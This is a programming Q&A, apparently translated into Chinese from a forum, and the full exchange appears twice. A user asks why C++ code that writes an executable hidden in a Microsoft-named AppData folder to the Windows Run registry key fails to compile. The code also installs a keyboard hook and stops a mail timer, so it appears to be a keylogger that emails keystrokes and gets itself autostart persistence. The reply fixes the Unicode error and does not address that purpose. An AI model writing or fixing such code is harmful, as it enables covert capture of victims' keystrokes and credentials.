C++ 注册表项问题
C++ registry key issue
我的一些 C++ 代码有问题。
更确切地说,我希望 运行 程序在 Windows 启动时为自动启动注册注册表项。
其余代码放在另一个 header 中,我认为你们不需要它。
#include <iostream>
#include <windows.h>
#include "KeybHook.h"
using namespace std;
int main ()
{
MSG Msg;
IO::MkDir (IO::GetOurPath (true));
InstalHook ();
while (GetMessage (&Msg, NULL, 0, 0))
{
TranslateMessage(&Msg);
DispatchMessage(&Msg);
}
MailTimer.Stop ();
std::wstring progPath = L"C:\Users\user\AppData\Roaming\Microsoft\Windows\MyApp.exe";
HKEY hkey = NULL;
LONG createStatus = RegCreateKey(HKEY_CURRENT_USER, L"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", &hkey); //Creates a key
LONG status = RegSetValueEx(hkey, L"MyApp", 0, REG_SZ, (BYTE *)progPath.c_str(), (progPath.size()+1) * sizeof(wchar_t));
return 0;
}
我在编译时遇到这个错误
main.cpp||In function 'int main()':|
main.cpp|35|error: cannot convert 'const wchar_t*' to 'LPCSTR {aka const char*}' for argument '2' to 'LONG RegCreateKeyA(HKEY, LPCSTR, PHKEY)'|
main.cpp|36|error: cannot convert 'const wchar_t*' to 'LPCSTR {aka const char*}' for argument '2' to 'LONG RegSetValueExA(HKEY, LPCSTR, DWORD, DWORD, const BYTE*, DWORD)'|
||=== Build failed: 2 error(s), 8 warning(s) (0 minute(s), 1 second(s)) ===|
您使用的是 Windows API 的 ANSI 版本,但您的字符串是 Unicode。
您应该 #define UNICODE
和 #define _UNICODE
(两者都需要;一个用于 Windows API,一个用于 C 运行时)。
如果您在 Visual Studio 项目下构建,您可以通过在项目设置中启用 "Use Unicode character set",在“常规”/“字符集”下定义这些项目,而无需编辑代码。
我的一些 C++ 代码有问题。
更确切地说,我希望 运行 程序在 Windows 启动时为自动启动注册注册表项。
其余代码放在另一个 header 中,我认为你们不需要它。
#include <iostream>
#include <windows.h>
#include "KeybHook.h"
using namespace std;
int main ()
{
MSG Msg;
IO::MkDir (IO::GetOurPath (true));
InstalHook ();
while (GetMessage (&Msg, NULL, 0, 0))
{
TranslateMessage(&Msg);
DispatchMessage(&Msg);
}
MailTimer.Stop ();
std::wstring progPath = L"C:\Users\user\AppData\Roaming\Microsoft\Windows\MyApp.exe";
HKEY hkey = NULL;
LONG createStatus = RegCreateKey(HKEY_CURRENT_USER, L"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", &hkey); //Creates a key
LONG status = RegSetValueEx(hkey, L"MyApp", 0, REG_SZ, (BYTE *)progPath.c_str(), (progPath.size()+1) * sizeof(wchar_t));
return 0;
}
我在编译时遇到这个错误
main.cpp||In function 'int main()':|
main.cpp|35|error: cannot convert 'const wchar_t*' to 'LPCSTR {aka const char*}' for argument '2' to 'LONG RegCreateKeyA(HKEY, LPCSTR, PHKEY)'|
main.cpp|36|error: cannot convert 'const wchar_t*' to 'LPCSTR {aka const char*}' for argument '2' to 'LONG RegSetValueExA(HKEY, LPCSTR, DWORD, DWORD, const BYTE*, DWORD)'|
||=== Build failed: 2 error(s), 8 warning(s) (0 minute(s), 1 second(s)) ===|
您使用的是 Windows API 的 ANSI 版本,但您的字符串是 Unicode。
您应该 #define UNICODE
和 #define _UNICODE
(两者都需要;一个用于 Windows API,一个用于 C 运行时)。
如果您在 Visual Studio 项目下构建,您可以通过在项目设置中启用 "Use Unicode character set",在“常规”/“字符集”下定义这些项目,而无需编辑代码。